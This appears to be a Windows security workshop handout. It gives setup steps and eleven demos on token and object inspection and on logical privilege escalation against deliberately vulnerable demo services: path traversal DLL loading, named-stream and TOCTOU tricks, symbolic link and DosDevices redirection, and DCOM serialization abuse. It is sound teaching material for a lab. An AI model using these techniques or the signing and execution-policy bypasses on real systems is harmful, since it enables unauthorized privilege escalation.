Initial Setup

The following is the list of quick configuration steps you need to take to set up the various tools provided for this workshop. This assumes you've got a 32 bit install of Windows 10 Creator Update 1703.

1) Unpack the archive to a directory in the root of the C drive, for example c:\workshop
2) From an admin command prompt run the following:
    - bcdedit /set TESTSIGNING ON
    - sc create workshop binPath= c:\workshop\driver\x86\LogicalEopWorkshopDriver.sys type= kernel start= demand
    - powershell -Command "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass"
3) Reboot the machine
4) Start the driver using 'sc start workshop'. Check that it doesn't print any errors.

DEMO 1: Viewing Token and Security Descriptors

Token Inspection

1) Open c:\workshop\sandbox-attacksurface-analysis-tools\TokenViewer.exe
2) Start a copy of Edge
3) Inspect tokens of 'MicrosoftEdgeCP.exe' and 'explorer.exe'. Note the various differences in things like capabilities.

Security Descriptor Inspection

1) Open powershell
2) Run command 'Import-Module C:\workshop\sandbox-attacksurface-analysis-tools\NtObjectManager\NtObjectManager.psd1'
3) Run command '$ev = New-NtEvent \BaseNamedObjects\abc''
4) Run command '$ev.SecurityDescriptor.Owner.Sid'
5) Run command '$ev.SecurityDescriptor.Dacl | Format-List'

DEMO 2: Displaying Object Namespace

1) Open powershell
2) Run command 'Import-Module C:\workshop\sandbox-attacksurface-analysis-tools\NtObjectManager\NtObjectManager.psd1'
3) Run command 'Get-ChildItem NtObject:\BaseNamedObjects'

4) Run command ‘Get-ChildItem -Recurse NtObject:\ | Where-Object -Property IsSymbolicLink | Format-List’’
5) Run command ‘Get-NtSymbolicLinkTarget \??\C:’

DEMO 3 - Enumerating Accessible Resources

1) Open powershell
2) Run command ‘cd C:\workshop\sandbox-attacksurface-analysis-tools’
3) Run command ‘.\CheckProcessAccess.exe’
4) Start a copy of Edge
5) Find PID of Edge content process using command ‘$pidcp = Get-Process MicrosoftEdgeCP | Select-Object Id’
6) Run command ‘.\CheckProcessAccess.exe -p $pidcp.Id’

DEMO 4: Inspecting Accessible COM Services

Accessible from Current Token

1) Open "C:\workshop\OleViewDotNet\OleViewDotNet.exe"
2) Open from Menu ‘Registry -> App IDs’
3) In Mode drop down select ‘Accesible’ then click ‘Apply’
4) In new dialog leave default options and click OK

Accessible from Edge Content Process

1) Start a copy of Edge
2) Open "C:\workshop\OleViewDotNet\OleViewDotNet.exe"
3) Open from Menu ‘Registry -> App IDs’
4) In Mode drop down select ‘Accesible’ then click ‘Apply’
5) In new dialog select ‘Specific Process’
6) Find instance of MicrosoftEdgeCP, select and click ‘OK’

Accessible from Edge Content Process that are Services

1) Follow previous
2) Once filtered to accessible Right Click tree, from Menu select ‘Clone Tree -> All Visible’
3) In new window from Mode select ‘Complex’ and click Apply
4) Choose ‘Type = AppId’, ‘Field = IsService’ then click Add
5) Click OK

DEMO 5 - Exploiting Path Canonicalization

1) Open ‘C:\workshop\ExploitTools\RpcServer.exe’ as an administrator.
2) Open ‘C:\workshop\ExploitTools\DemoClient.exe’
3) Type ‘1’ and Enter to select ‘RPC Client Tests’
4) Type ‘1’ and Enter to select ‘ALPC”
5) Type ‘2’ and Enter to select ‘Test Load Library’
6) When prompted type ‘abc.dll’, observe error
7) Type ‘2’ and Enter to select ‘Test Load Library’
8) When prompted type ‘..\..\..\..\..\workshop\ExploitTools\testdll32.dll’
9) Observe message box, then close it.

DEMO 6: Exploiting Named Streams

1) Open ‘C:\workshop\ExploitTools\RpcServer.exe’ as an administrator.
2) Open ‘C:\workshop\ExploitTools\DemoClient.exe’
3) Type ‘1’ and Enter to select ‘RPC Client Tests’
4) Type ‘1’ and Enter to select ‘ALPC”
5) Type ‘3’ and Enter to select ‘Test Load Library with Path Check’
6) When prompted type ‘..\..\..\..\..\workshop\ExploitTools\testdll32.dll’, observe error
7) Open command prompt
8) Type command ‘cd c:\workshop\ExploitTools’
9) Type command ‘CopyFile testdll32.dll c:\windows\Tracing:XYZ.DLL’
10) Type ‘3’ and Enter to select ‘Test Load Library with Path Check’
11) When prompted type ‘Tracing:XYZ.DLL’
12) Observe message box, then close it.

DEMO 7 : TOCTOU on Name

1) Open command prompt
2) Run command ‘mkdir c:\demo7’
3) Run command ‘copy c:\workshop\ExploitTools\testdll32.dll c:\demo7\abc.dll’
4) Open ‘C:\workshop\ExploitTools\RpcServer.exe’ as an administrator.
5) Open ‘C:\workshop\ExploitTools\DemoClient.exe’
6) Type ‘1’ and Enter to select ‘RPC Client Tests’
7) Type ‘1’ and Enter to select ‘ALPC”
8) Type ‘4’ and Enter to select ‘Test Load Library TOCTOU’
9) When prompted type ‘c:\demo7\abc.dll’, observe error
10) Run command ‘copy c:\Windows\system32\kernel32.dll c:\demo7\abc’
11) Type ‘4’ and Enter to select ‘Test Load Library TOCTOU’
12) When prompted type ‘c:\demo7\abc’

13) Observe message box, then close it.

DEMO 8 : Symbolic Link TOCTOU

1) Open command prompt
2) Run command ‘mklink /J c:\demo8 c:\windows\system32’
3) Run command ‘cd c:\workshop\symboliclink-testing-tools’
4) Run command ‘start SetOpLock.exe c:\Windows\system32\tapi.dll x’
5) Open ‘C:\workshop\ExploitTools\RpcServer.exe’ as an administrator.
6) Open ‘C:\workshop\ExploitTools\DemoClient.exe’
7) Type ‘1’ and Enter to select ‘RPC Client Tests’
8) Type ‘1’ and Enter to select ‘ALPC”
9) Type ‘5’ and Enter to select ‘Test Load Library TOCTOU Hardened’
10) When prompted type ‘c:\dem87\tapi.dll’
11) Observe that oplock has been hit.
12) Run command ‘rmdir c:\demo8’
13) Run command ‘copy c:\workshop\ExploitTools\testdll32.dll c:\demo8\tapi.dll’
14) Hit enter in oplock window
15) Observe message box, then close it.

DEMO 9 : DosDevices Redirect

1) Open ‘C:\workshop\ExploitTools\RpcServer.exe’ as an administrator.
2) Open ‘C:\workshop\ExploitTools\DemoClient.exe’
3) Type ‘1’ and Enter to select ‘RPC Client Tests’
4) Type ‘1’ and Enter to select ‘ALPC”
5) Type ‘1’ and Enter to select ‘Test Create Process’, observe notepad runs
6) Open command prompt
7) Run command ‘cd c:\workshop\symboliclink-testing-tools’
8) Run command ‘mkdir c:\demo9\windows’
9) Run command ‘CreateMountPoint c:\demo9\windows\system32 \GLOBAL??\C:\Windows\System32’
10) Run command ‘copy c:\workshop\ExploitTools\DummyExe.exe c:\demo9\windows\notepad.exe’
11) Run command ‘CreateNativeSymlink.exe \??\C: \GLOBAL??\C:\demo9’
12) Type ‘1’ and Enter to select ‘Test Create Process’
13) Observe message box, then close it.
14) Hit enter in symbolic link command to delete symbolic link.

DEMO 10 : Privileged Resource Creation

1) Open ‘C:\workshop\ExploitTools\DemoClient.exe’
2) Type ‘2’ and Enter to select ‘Driver Tests’

3) Type ‘1’ and Enter to select ‘Driver File Tests”
4) Type ‘1’ and Enter to select ‘Create File’
5) When prompted type ‘\??\C:\Windows\abc.txt’
6) Observe file is created

DEMO 11 : .NET DCOM Elevation

1) Open "C:\workshop\ExploitTools\COMServer.exe"
2) Open command prompt
3) Run command ‘cd C:\workshop\ExploitTools’
4) Run command ‘ExploitDotNetDCOMSerialization.exe 801445a7-c5a9-468d-9423-81f9d13fee9b calc.exe’